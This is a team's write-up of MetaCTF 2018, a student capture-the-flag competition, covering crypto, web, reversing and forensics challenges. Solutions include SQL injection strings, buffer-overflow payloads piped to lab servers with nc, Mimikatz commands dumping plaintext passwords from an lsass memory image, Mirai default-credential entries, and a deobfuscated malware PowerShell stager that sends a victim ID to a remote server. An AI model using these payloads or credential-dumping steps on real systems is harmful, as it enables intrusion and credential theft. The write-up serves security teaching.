MetaCTF 2018 Write-ups

MetaCTF 2018 was held at the University of Virginia’s Darden School of Business this past weekend. Although a majority of the challenges were standard fare for CTFs, the competition also included a sizable portion of “physical” challenges like lock-picking, as well as legal and ethical case studies. With an emphasis on introducing and teaching cybersecurity, MetaCTF erred on the easier side, but the day’s schedule definitely put a crunch on finding all 48 of the competition’s flags.

Out of 56 teams, we placed 3rd with 11,258 points as team “Drink More Caffe”:

  • Lucas Mun, Virginia Tech
  • Christopher Truong, University of Virginia
  • Brandon Walker, Virginia Tech
Although we topped the technical challenges, the law questions also had a significant impact on the final standings.

Although we topped the technical challenges, the law questions also had a significant impact on the final standings.

This write-up will focus more on the traditional CTF challenges and the flags I spent the most time with, including the crypto, exploitation, reversing, and forensics sections. Most of the challenges were solved with a couple of lines of Bash or Python, and the executable challenges with Binary Ninja. Although the binaries are all 64-bit ELFs, all challenges can be solved on a Windows box without any issues.

It is worth noting that all of the flags are lowercase sentences, usually delimited with underscores; there is no common prefix.


It’s Hiring Season! (100 points)

Problem. One of the engineering managers is super excited to introduce the new hire to the team but needs a way to securely send the new engineer slack credentials. Usually they hand over the credentials in person on their first day, but she wants the new engineer to be able to meet her team a few days in advance. Someone on her team had suggested that she encrypt them to email them over and had sent her the “encrypted” credentials to pass along to the new hire. She wanted to run this by the security team first to get their opinion.

What do you think? Are these credentials safe to email out? See if you are able to crack the “encryption”.

Email: ZWxpemFqb25lc0BpY21waW5kdXN0cmllcy5jb20=

Password: c3VwZXJfZHVwZXJfc2VjdXJlX3NlY3JldF9wYXNzd29yZA==

The two trailing equal signs makes it immediately obvious that this is a base64 problem:

$ echo ZWxpemFqb25lc0BpY21waW5kdXN0cmllcy5jb20= | base64 -d

$ echo c3VwZXJfZHVwZXJfc2VjdXJlX3NlY3JldF9wYXNzd29yZA== | base64 -d

The Crypto Team Welcomes You (100 points)

Problem. Our team of cryptographers love to work their way through puzzles. Since you’re new to the team, they wanted to give you a cipher to crack to get you started.


It’s 100 points and looks like a substitution cipher: what are the chances it’s not a Caesar cipher or a ROT-N? The simplest way to check is to throw the input at tr, the “translation” command. Effectively, it maps one set of characters to another set. In a Caesar cipher (ROT-13), a gets mapped to n, b to o, …, and z to m, or in other words, a-z gets mapped to n-z + a-m:

$ echo penpxvat_pvcuref_vf_zl_wnz | tr a-z n-za-m

In Soviet Russia Botnet Attack You (175 points)

Problem. Maybe there’s some merit to the rumors about a botnet targeting IoT devices that Jon heard after all. One of your contacts at a similar company, DNS Industries, has even recovered some source code from the malware!?! Apparently, it uses a list of default credentials to hack its way into internet connected devices. In order to get ahead of this, we need to see if any of ICMP’s products were affected. The flag is the default password for the ICMP product.

The source code we’re given appears to be an abbridged version of the infamous Mirai internet-of-things botnet. As mentioned, it uses a list of common default passwords for routers and other devices:

// Set up passwords
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10);    // root     xc3511
add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9);         // root     vizxv
add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8);         // root     admin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7);     // admin    admin
add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6);     // root     888888
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5); // root     xmhdipc

The strings are XOR’d with 0x22 (0xDE ^ 0xAD ^ 0xBE ^ 0xEF) for “obfuscation purposes,” but the comments help us out. If we diff this online repository with our local copy of the files, we find one small change:

add_auth_entry("\x61\x79\x70\x63", "\x65\x6d\x6d\x62\x72\x63\x75\x75", 1); // cara     goodpass

Banal Base64 (200 points)

Problem. What could be any more boring and cliché than decoding some base64 string? This challenge isn’t really that different…

Uh oh…

Base64 ciphertext displayed as ASCII art

At this point, it might be is fastest to just type the entire message out. That’s not all too interesting however, and we can automate the process with a simple script by making a one small assumption.

   I::::::::IF::::::::::::::::::::F   88:::::::::88   
   I::::::::IF::::::::::::::::::::F 88:::::::::::::88 
     I::::I    F:::::F       FFFFFF8:::::8     8:::::8
     I::::I    F:::::F             8:::::8     8:::::8
     I::::I    F::::::FFFFFFFFFF    8:::::88888:::::8 
     I::::I    F:::::::::::::::F     8:::::::::::::8  
>>   I::::I    F:::::::::::::::F    8:::::88888:::::8   <<
     I::::I    F::::::FFFFFFFFFF   8:::::8     8:::::8
     I::::I    F:::::F             8:::::8     8:::::8
     I::::I    F:::::F             8:::::8     8:::::8
   II::::::IIFF:::::::FF           8::::::88888::::::8
   I::::::::IF::::::::FF            88:::::::::::::88 
   I::::::::IF::::::::FF              88:::::::::88   
   IIIIIIIIIIFFFFFFFFFFF                888888888     

Note that each letter is composed of colons outlined by the original character. We can then process an entire row of characters by taking a center line and removing everything but the first outline character encountered.

l = """ ... """
lines = l.split('\n')

import re

for i in range(0, 550, 25):
    line = lines[i+8].replace(' ', '')

    r = re.findall('([A-Z0-9a-z])(:+)([A-Z0-9a-z])', line)
    prev = ''
    if r is not None:
        for a, b, c in r:
            if a != prev:
                print(a, end='')
                prev = a

This has one slight flaw in that repeated characters are ignored; the only repeated character is on the 16th line so we can manually fix that and begin decoding:

Terminal output of the above command, showing 'ROT7: kljpwolypun_aol_wshpualea' in ASCII art

If one thing’s clear, it’s that this challenge was designed by a fan of patorjk’s work. We are presented with a second stage, yet another ASCII art clue, that tells us to ROT-7 a particular ciphertext. It appears that the message cuts off a few characters on the last row, but squinting a little, we can find the flag using the substitution cipher’s worst enemy, tr:

$ echo kljpwolypun_aol_wshpualea | tr a-z t-za-s

Victim Identification (200 points)

Problem. One of the other analysts has asked you to figure out what this Powershell function does. In order to trace down the threat and identify what other computers may be infected, it’s imperative we figure out exactly how it produces the resulting identifier. To prove you’ve figured it out, generate the correct id for a computer with the following information: Computer name: dc02, Date: 09-21-2018, Time: 09:45:23, Username: jholloway, and IP:

Note the answer should look similar to 1F8A24B1748525B44A590B50F10E1C60

The function appears to take an MD5 hash of the string ip\$hostname\$username. This could be performed with any MD5 technique, but we can just plug the values into the existing function as well:

$text =  '$dc02$jholloway' # Single quotes to prevent $ evaluation

$md5 = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider
$utf8 = new-object -TypeName System.Text.UTF8Encoding
$hash = [System.BitConverter]::ToString($md5.ComputeHash($utf8.GetBytes($text)))
$hash = $hash.ToLower() -replace '-', '';

echo $hash

Giving us 7631ecb4c3b73208a82070145d65b4aa.

Cleartext Logging (375 points)

Problem. You’ve just heard about some new attacker tradecraft where they often encrypt files from the command line before exfiltrating them. Since ICMP has Command Line Logging enabled on workstations, you think there might be some useful information to help you decrypt this .rar file you found awhile ago. Here’s a copy of the Event log (.evtx) from the machine.

Note on Windows you can probably just open up the Event log, on Mac/Linux you’ll probably want a tool such as python-evtx.

Opening the file with Event Viewer, we see a series of process creation events followed by a log clear:

Event Viewer with the log file opened

We can probably expect to find the rar password as a command-line argument to an archiver. Fourth from the top, we find this event:

A new process has been created.

    Security ID:        S-1-5-21-2853118955-3557082850-1274633674-1001
    Account Name:       Emily
    Account Domain:     PC-EMILY
    Logon ID:       0x1D172

Process Information:
    New Process ID:     0xa04
    New Process Name:   C:\Program Files\WinRAR\Rar.exe
    Token Elevation Type:   TokenElevationTypeLimited (3)
    Creator Process ID: 0x854
    Process Command Line:   "C:\Program Files\WinRAR\Rar.exe"  a files.rar flag.txt encouragement.mp4 -hpcorrecthorsebatterystaple

Decompressing the file with password correcthorsebatterystaple gives us flag.txt:

$ unrar p -pcorrecthorsebatterystaple files.rar flag.txt

UNRAR 5.61 freeware      Copyright (c) 1993-2018 Alexander Roshal

Extracting from files.rar

------ Printing flag.txt


All OK

The Night Watchprinter (450 points)

Problem. Darknet site SecretSoup appears to sell furniture at first glance, but you also know it to be a front for selling stolen corporate secrets. Fortunately, thanks to ICMP’s ever-watchful Xerox printers (who have an odd obsession with yellow dots), you should have enough information to determine the leaker. In addition, the printer technician put this helpful Excel file together for you. Match the leaked document with the row in the excel file for the flag.

Repeated Locks (475 points)

Problem. Of course, there’s always a caveat to things that make stuff just a little bit more complicated :) While you’ve been able to decrypt all of the other ransomware’d files across ICMP’s network, there was one file the key didn’t work for (of course it was an important .pptx Powerpoint presentation for an upcoming client meeting). You’re pretty certain it used the same encryption algorithm, but this time, the key is 4 lowercase characters. You can download the encrypted file here.

We have a ciphertext and know that the key is 4 ASCII bytes. Because it’s a pptx file, we also know a partial of the plaintext: the file header.

00000000: 3c24 606f 786f 656b 646f 636b 4d6f 7bb7  <$`oxoekdockMo{.
00000010: 5e84 dd6a 6c6f c967 6c6f 706b 646d 3828  ^..jlo.glopkdm8(
00000020: 0301 170e 021b 3c3f 151f 0618 3141 1b06  ......<?....1A..
00000030: 004f c16f 6e47 c36b 6e6f 636b 6c6f 636b  .O.onG.knocklock
00000040: 6c6f 636b 6c6f 636b 6c6f 636b 6c6f 636b  locklocklocklock
00000050: 6c6f 636b 6c6f 636b 6c6f 636b 6c6f 636b  locklocklocklock
00000060: 6c6f 636b 6c6f 636b 6c6f 636b 6c6f 636b  locklocklocklock
00000070: 6c6f 636b 6c6f 636b 6c6f 636b 6c6f 636b  locklocklocklock
00000080: 6c6f 636b 6c6f 636b 6c6f 636b 6c6f 636b  locklocklocklock
00000090: 6c6f 636b 6c6f 636b 6c6f 636b 6c6f 636b  locklocklocklock
000000a0: 6c6f 636b 6c6f 636b 6c6f 636b 6c6f 636b  locklocklocklock
000000b0: 6c6f 636b 6c6f 636b 6c6f 636b 6c6f 636b  locklocklocklock
000000c0: 6c6f 636b 6c6f 636b 6c6f 636b 6c6f 636b  locklocklocklock

Just by looking at the head of the file, I have a sneaking suspicion that our key might be lock. We can confirm this by xoring the first four bytes with the known Microsoft Office magic: 50 4b 03 04.

>>> hex(0x504b0304 ^ 0x3c24606f)        

>>> bytearray.fromhex('6c6f636b').decode()          

Now we need to apply an xor over the file once more to retrieve the plaintext. I’m at the end of my command-line-fu here, but this StackExchange answer gives us an easy way to do it. We can open the resulting pptx up and…

PowerPoint slide with Rick Astley's Never Going to Give You Up and the flag

Web Exploitation

Very Public Profiles (125 points)

Problem. ICMP Industries’ website has a nice feature that allows you to view your profile, just by going to the website. In fact, you can see your profile by visiting here. Taking a closer look at the URL though, it almost seems as if you might can see other people’s profiles…

As the website does not authenticate users or obscure user IDs in any way, we can explore the database and find a peculiar user with ID 6:

User profile of Mr. McFlags

Protect System Login Security (150 points)

Problem. One of our flagship devices, Protect, is getting a GUI overhaul. We are getting ready to push the new update to users but, before the update goes live, we need to make sure the system is secure. Check out this demo login page for a Protect system here and see if you can find the login credentials!

The first step is to figure out where login data is being processed, and upon viewing the page source we are confronted with this:

// ...
else if (username == "EmilyH" && password == "Em1lyi3BestEmplo^33"){
    alert("Welcome Emily");
else if (username == "Hacker" && password == "Javascript_is_client_side"){
    alert("The Flag is the password to this account...");
    alert("Incorrect Login");
// ...

Seriously Questionable Coding (275 points)

Problem. ICMP’s Smart Home Protect System has a login page to make it really secure, at least that’s what the developer told you. As one of the Security Team members, your job is to test the page for any SQL Injection flaws, and see if you can get it to list the full database.

Access the system to test here

This time, we’re not dealing with any JavaScript shenanigans but the server is still nice enough to tell us how it’s querying the database when we try to login:

Your Database Data:

Your query was: SELECT * FROM users WHERE email=‘foo’ AND pwd=‘bar’;

Let’s see if the input is getting escaped or sanitized at all by throwing ' OR 1; -- into the username field:

Your Database Data:

Your query was: SELECT * FROM users WHERE email=” OR 1; –’ AND pwd=‘bar’;

id first nick last email greeting pwd
1 Jon Holloway Hi John “The Master” Holloway great_super_password
2 Maria Whitehouse Ave, ave, ave, Maria sups_sups_secure
3 Joe Jones hello_you_sweet_sql_injection_flag long_password_supa_weak

Less Questionable Coding (400 points)

Problem. We’re back in business with a new and improved login page, at least according to the developer. While it may look the same, he has assured you that it is much more secure against SQL Injection than the old version. We shall see about that.

Access the new site here

Ok, this challenge should be a bit more challenging, maybe some rigorous sanitizing? Let’s throw the same ' OR 1; -- into the username:

Your Database Data:

Your query was: SELECT * FROM users WHERE email=’\’ OR 1; FAIL_LOL’ AND pwd=“;

id first nick last email greeting pwd
1 Jon Holloway Haya there, it’s me, John! this_be_great_password
2 Maria Whitehouse HELLO HELLO. HELLO WORLD i_heart_strong_passwords
3 Joe Jones better_filters_are_no_match_for_you_sql_ninja hallo_strong_password

Oh… It did seem to escape the quote and replace the comment marker, but wasn’t enough to prevent the query from breaking.

Reverse Engineering

Just Go With the Overflow 1 (125 points)

Problem. As you are reviewing ICMP’s software for vulnerabilities, you discover a script used for authenticating users by checking their access code. You forgot yours awhile ago after you wrote it on a sticky note only to have the cleaning lady throw it away, so you try arbitrary input strings of various lengths. This soon reveals a bug in how the script checks for input. Can you exploit this bug to find the flag?


nc 10946

The problem text makes it overly obvious that we’re dealing with a buffer overflow. Let’s throw a large input at the server and see what happens:

$ python3 -c "print('a'*64)" | nc 10946
Please enter the access code: just_go_with_the_overflow
Segmentation fault

That was easy. If the “Segmentation fault” text looks a little funny, it’s because the code actually checks for a buffer overflow and artificially prints out the flag and “crash” text.

Binary Ninja graph of buffer overflow output

The upper block polls for the access code with fgets. Lines 34 and 35 then check if the buffer ends with a NUL byte, a rudimentary way of checking for an overflow.

Stringy McStringFace (150 points)

Problem. Oh no! A new variant of ransomware has spread throughout ICMP, encrypting everyone’s files and leaving all the computers unusable. Understandably, CEO Holloway and the rest of the executive team are, shall we say, a bit unhappy. We were lucky enough to grab a copy of the malware, so let’s have your team start by performing some basic analysis to see if any strings of information were left behind by the author.

We recommend using a command line tool known as strings and a program called IDA, but we’ve provided all of the output you need at this link if you don’t want to download anything.

I don’t know what more there is to explain, but:

$ strings LockyMcLockface | grep flag

This string is embedded in the data section, so it’s probably a global variable. The program doesn’t actually use it though, so the only way to find it is through a strings-style utility.

The Unforgettable Photocopier (175 points)

Problem. Did you know that photocopiers often store a history of every document they print? In yet another security incident, someone seems to have printed out some company materials then walked out the door with them. We’ve already imaged the photocopier hard drive, now we need your team to dig through to find what documents were printed.

After extracting the archive of the hard drive, we can search for common document formats, like PDFs.

$ find . -name '*.pdf'

Here’s another case of where being lazy will actually take longer than doing it the hard way. While you could find out about pdfgrep, install it, and read the man page, you could have just as easily found the flag by opening the documents. Nevertheless:

$ pdfgrep -irC 10 flag usr/local/src

And our flag is an_if_dev_zero_of_dev_sda_keeps_the_data_snatchers_away.

Line by line, life’s a flag (275 points)

Problem. Okay, it’s time to up our game and really analyze this piece of ransomware. Ransomware works by taking a key, then using it to encrypt a file using any number of encryption algorithms (ex: XOR). Fortunately, this malware author wasn’t the best, and he used a static key that is embedded in the binary. The strings command didn’t pick it up though, so let’s take a look at some of the different functions. Perhaps an ASCII chart may be of use too.

Download the binary here. View the analysis online without having to download anything here.

Looking at the binary, the function of interest is blatantly left with the name set_key. Inside, it writes a string to the stack for later use by the decryption algorithm.

Disassembly of set_key function showing flag

The flag is boaty_mcboatface_is_my_hero.

Obfuscation Factory (300 points)

While tracing down the suspected nation-state intrusion that started with the phishing email to Caroline Williams, you’ve came across this powershell script. Unfortunately, it’s heavily obfuscated, but it’s crucial we figure out what it does. Deobfuscate the script to find the flag.

Note: You might find CyberChef useful in your decoding efforts.

Let’s break down the outer layer of obfuscation:

  • sal a New-Object is shorthand for Set-Alias a New-Object, which turns a into an alias for New-Object. In other words, we can replace all future instances of a with New-Object.

  • iex(...).ReadToEnd() is shorthand for Invoke-Expression. It is the eval of PowerShell, and effectively executes the parameter string as code. This line actually executes the encoded payload.

    • New-Object IO.StreamReader(..., [Text.Encoding]::ASCII) takes a stream and decodes it to ASCII.

      • New-Object IO.Compression.DeflateStream(..., [IO.Compression.CompressionMode]::Decompress) creates a new stream that decompresses (with zlib) some binary data.

        • [IO.MemoryStream][Convert]::FromBase64String(...) decodes our base64 compressed data.

So the code of interest lies in that base64-encoded, zlib-compressed blob. Really, the pesky part of code is the iex. We can replace it with an echo and get the inner layer out:

PS> echo (New-Object IO.StreamReader((New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('hVRdb9owFH1H4j9YFAmiNab0Y6tou6mFrUXaOjTo+lBNrZtciLdge/ZNaNT1v+/GBAbbw4IEuZ/nnuNrTnfYWM+BGb0A6xJIUxbpGNjO23ptmqkIpVbsEhRYgRB+leSYDwfsuV5j9DQzB1YJqj9jTVB574bsa7JPqnhkss1wX89Nhtsp0lC0zR6WZvlcAobXgMNRX6upnGUEXU7xazPnNgEL4efH7xAhe2Z/Ar7nPR+O8sMBTEWW4iVNvhAFCxWwpsqI4cN2eihU/LePWtAI57EwNC4fo8DM+Q6NgXSRVopwIW5slr2sjMCjn8exBefovXqr1yrGCE9YKkLMX7FGs0Hfa6HWjpWyVc1FgeCo6G5cOIQ5n1AP/l7RWUk1+9br3ShZnhsn7Xxq26MEVbVPhHjige9I1hwsUtVEXwgHrw/HaKlNe4kSrAedx0cEqWAR6qXQ4aQwUB4eq8YYQ5RZiQXv28KgnllhkoJ/Ghwt7THYXEYwsjqXMdjV0uD0+D99Pb2byYfjFcWqNBEu2VDhQmJFBqynsyJCk/Nq2a6opO0xN8TZECQIgu3m/pdP9MfySrQDFlowqYiAtcLWLmu1Tlb6WMDMqmU+OV9K/y2pAeGVdkibohcq1aIcnxlRpELHjXqtmftLdC9jwvrnZlGfocr1Dwhv4fEL/MzAYbuVIJpep9PdO+T7B2/4Ae929ztZLvb3uscdh2IGB9y47rtlaxmftcoVWgMRwdMdNtNsqi0muwyexFzSLmMCTDzqHJiLrDRYxr1zmoqZ/wsoP78B'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()

<# Some powershell code #>
function Generate-VictimID {
    $username = $env:UserName;
    $cpuname = $env:ComputerName;
    $ip = ( `
        Get-NetIPConfiguration | `
        Where-Object {
            $_.IPv4DefaultGateway -ne $null `
            -and `
            $_.NetAdapter.Status -ne "Disconnected" `
        } `

    $text = $ip + "$" + $cpuname + "$" + $username
    $Bytes = [System.Text.Encoding]::Unicode.GetBytes($text)
    $EncodedText =[Convert]::ToBase64String($Bytes)

    $md5 = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider
    $utf8 = new-object -TypeName System.Text.UTF8Encoding
    $hash = [System.BitConverter]::ToString($md5.ComputeHash($utf8.GetBytes($EncodedText)))
    $hash = $hash.ToLower() -replace '-', '';

    return $hash;

Write-Host "Downloading paylaod"
$victim_id = Generate-VictimID;
Invoke-WebRequest('' + $victim_id)
<# go forth, examine the above script for the flag #>

The script generates a unique computer ID and sends it to a server. While this code doesn’t actually execute the response, the server returns a second stage payload. After a nice little song, this second stage ends with:

Write-Host "you_can_obfuscate_anything_you_like_but_you_can_never_leave"

Just Go With the Overflow 2 (325 points)

Problem. You reported the buffer overflow bug you found, happy to have made ICMP a more secure place but disappointed that your request for a bug bounty was declined. The dev ops team follows up, saying that they’ve fixed the bug! Have they?


nc 17711

Now it’s time to do an actual buffer overflow.

Because we don’t care much about the process state following exploitation and the stack is doubleword-aligned, we can just send a buffer of the address repeated several times. The cleaner way to do it here would be finding the actual size of the stack frame and only

$ python3 -c "import sys;sys.stdout.buffer.write(b'\xea\x47\x55\x55\x55\x55\x00\x00'*8)" | nc 17711
Please enter the access code: Invalid access code
Segmentation fault (core dumped)

Just Go With the Overflow 3 (500 points)

Problem. After your second bug report in one day, the dev ops team follows up again, saying that they’ve fixed the bug and hinting that they’re hoping not to hear from you again for awhile. Indignant, you decide to exploit the script one more time.


nc 28657

If the binary filename tells us anything, this overflow challenge will require return-oriented programming (ROP). Let’s check what’s


Adventures of Nation State (250 points)

Problem. As your security team has been tracing the intrusion, you have a hunch that the attackers might have made it to the point where they could steal valuable data. The network team has provided a pcap file from one of the compromised hosts. Analyze this .pcap to see if any files might have left your network.

Following the hint, we can pop open the file with NetworkMiner. As most of the requests are over HTTP, we might expect a file upload done through a web browser. This is done through a POST request of type multipart/form-data, where the file data is stuck into the request body. NetworkMiner automatically extracts all of these files and throws them into nice folders for us.

NetworkMiner with the pcap file loaded

Scrolling down the “Files” tab, there’s a zip file that stands out

Excerpt of extracted document containing the flag

Don’t Lsass me (400 points)

Problem. As a Red Teamer at ICMP, you often compromise various computers on the company network during your security testing. Once you’re on the box, it can be useful to dump the memory to see if there is any credentials being stored in cleartext. Here’s a memory dump from your current operation. Extract Emily’s password for the flag.

When a user logs into a Windows box, the Local Security Authority Subsystem Service (lsass.exe) keeps track of some authentication info in its process space. For example, the security accounts manager (SAM) database holds password hashes, and the WDigest database holds plain-text passwords, all in effort to reduce the amount of times a user must enter their password. In older Windows systems, WDigest authentication is turned on by default. By dumping the process memory of lsass.exe at any time, we can recover plain-text passwords of signed in accounts. Even without WDigest, it is often feasible to crack the weak NTLM hashes.

Mimikatz is a tool for exploiting Windows systems, and in particular, anything involving credentials. It can recover these hashes and passwords from all authentication sessions active at the time of a dump. Dumping lsass does require administrative privileges, but we’ve already been given a complete copy of memory. It’s as easy as firing up Mimikatz and entering two commands:

  .#####.   mimikatz 2.1.1 (x64) built on Sep 25 2018 15:08:14
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo) ** Kitten Edition **
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( )
 ## \ / ##       >
 '## v ##'       Vincent LE TOUX             ( )
  '#####'        > /   ***/

mimikatz # sekurlsa::Minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'

mimikatz # sekurlsa::logonPasswords
Opening : 'lsass.dmp' file for minidump...

Authentication Id : 0 ; 128767 (00000000:0001f6ff)
Session           : Interactive from 1
User Name         : Emily
Domain            : PC-EMILY
Logon Server      : PC-EMILY
Logon Time        : 10/18/2018 6:49:09 PM
SID               : S-1-5-21-2853118955-3557082850-1274633674-1001
        msv :
         [00000003] Primary
         * Username : Emily
         * Domain   : PC-EMILY
         * NTLM     : a76e03eec36bed47ae77a2a6e919721e
         * SHA1     : a8ab4221f80991cbab963477da9795470e2f9261
         [00010000] CredentialKeys
         * NTLM     : a76e03eec36bed47ae77a2a6e919721e
         * SHA1     : a8ab4221f80991cbab963477da9795470e2f9261
        tspkg :
        wdigest :
         * Username : Emily
         * Domain   : PC-EMILY
         * Password : dont_you_sass_me_windows_is_still_the_best_os
        kerberos :
         * Username : Emily
         * Domain   : PC-EMILY
         * Password : (null)
        ssp :
        credman :

3D Secrets (450 points)

Problem. Apparently one of your employees has been taking home some of the 3D modeling designs for your products. You suspect he is working on behalf of a Chinese company to steal trade secrets in an economic espionage campaign. The FBI was able to arrest someone in a similar incident documented here:

We have recovered one of the images he sent to his personal email. Recover the stolen file for the flag.

We’re given a nice JPG photo, so the first course of action is stegsolve and friends. Unfortunately, there are no glaring mysteries, and even the file EXIF data is normal. Furthermore, binwalk doesn’t report any concatenated files, but that doesn’t mean we aren’t dealing with file carving.

The JPEG format, like many others, includes markers for the start as well as the end of an image. As most image viewers will simply discard any data following this “End of Image” (EOI) marker, it can make a good hiding spot for arbitrary data. If we naively assume that this EOI pattern doesn’t appear anywhere else in the actual image data, it is possible to dump anything else hidden in the file. Here, ff d9 is the EOI marker, and we can find a very interesting payload right after it.

$ xxd -c1 -p dawn.JPG | tr "\n" " " | sed -n -e 's/.*\( ff d9 \)\(.*\).*/\2/p' | xxd -r -p | xxd | less
00000000: 3838 0a53 544c 4220 4154 4620 372e 302e  88.STLB ATF 7.0.
00000010: 302e 3230 3620 2020 2020 2020 2020 2020  0.206
00000020: 2020 2020 2020 2020 2020 2020 2020 2020
00000030: 2020 2020 2020 2020 2020 2020 2020 2020
00000040: 2020 2020 2020 2020 2020 2020 2020 2020
00000050: 2020 2050 1000 00da 647f 3f00 0000 00ac     P....d.?.....
00000060: d68c bd1c 23ba bf00 0000 0042 c4fd 3e35  ....#......B..>5
00000070: 3cba bf00 0000 0006 14f8 3e1c 23ba bfcd  <.........>.#...
00000080: cccc 3d42 c4fd 3ef7 5eda 647f 3f00 0000  ..=B..>.^.d.?...
00000090: 00ac d68c bd1c 23ba bfcd cccc 3d42 c4fd  ......#.....=B..
000000a0: 3e35 3cba bf00 0000 0006 14f8 3e35 3cba  >5<.........>5<.
000000b0: bfcd cccc 3d06 14f8 3ef7 5e6a f978 3f00  ....=...>.^j.x?.

The first couple dozen bytes appear to be ASCII, and most likely are the magic bytes of some file header. The FBI document linked isn’t a complete red herring in this problem, and actually has a technical procedure for how this file was created. Here’s the most relevant portion:

Statement #30 from the affidavit describing the steganographic approach

Well, the carved out data starts with an ASCII 88, followed by some data and second 88. Although the “encrypted file” mentioned in the affidavit was generated by the program AxCrypt with a known key, in our case we already have an unencrypted file.

AxCrypt failing to load the file

I spent more time trying to figure this out than the rest of the problem…

If you’re familiar with 3D printing, the STL extension and “3D modeling designs” hint might have clued you in. Lo and behold, STLB ATF is a binary format widely used by CAD software. We can open it up and find our flag:

Extruded 3D text of the flag

Unintended Care Package (450 points)

Problem. Thanks to ICMP’s great security awareness training, everyone knows not to plug in random flash drives to their computer. Instead, they bring them to the security team to figure out what they might be. Do a full analysis on this flash drive and see if there’s anything interesting on the drive. Make sure to look for deleted things too!

Dribble, Dribble (500 points)

Problem. The Nation State Actors targeted ICMP Industries have upped their game. As you have began to detect some of their attacks, they have changed tactics to be much more quiet. In a shocking turn of events, you think they may have even compromised Wikipedia’s website and are exfiling data by sending carefully crafted requests to Take a look at this pcap to see if you can figure out how they are doing it and get the flag.

The provided capture includes a bunch of HTTP traffic to Wikipedia, and well yeah, that’s it. No protocol trickery to worry about, just simple GET requests.

GET requests to Wikipedia pages shown in Wireshark

At first, I figured that data might be encoded through the page title. By taking the first letter of each page, we get something like “FVBCRMMP…” that is reminiscent of Vigenere ciphertexts and could definitely hold a flag. This leads to a dead end however, as no information can be gleamed from the message alone.

Let’s focus on the rest of the request:

A diff of two Wikipedia requests showing the varying User-Agents

There’s a single letter difference at the end of the User-Agent header. This header has a long history, but is today used as a courtesy for browsers and HTTP clients to identify themselves. It is an immediate red flag to see User-Agent changing at all throughout a browsing session. We can scale this to the rest of the capture:

GET requests to Wikipedia pages shown in Wireshark

The left column (truncated) is the User-Agent header and the right column is the requested path.

It looks like we’ve found our smoking gun. The page titles appear to be arbitrary, but the User-Agents definitely have something to hide. A little command-line-fu can extract those trailing characters and assemble the message:

$ grep -rnwa dribble_dribble.pcap -e 'Gecko' | rev | cut -c2 | tr -d '\n'

And finally:

$ echo b25lX3NtYWxsX3BhY2tldF9mb3JfeW91X2J1dF9vbmVfcGFydF9vZl95b3VyX2Nyb3duX2pld2Vsc19mb3JfbWU= | base64 -d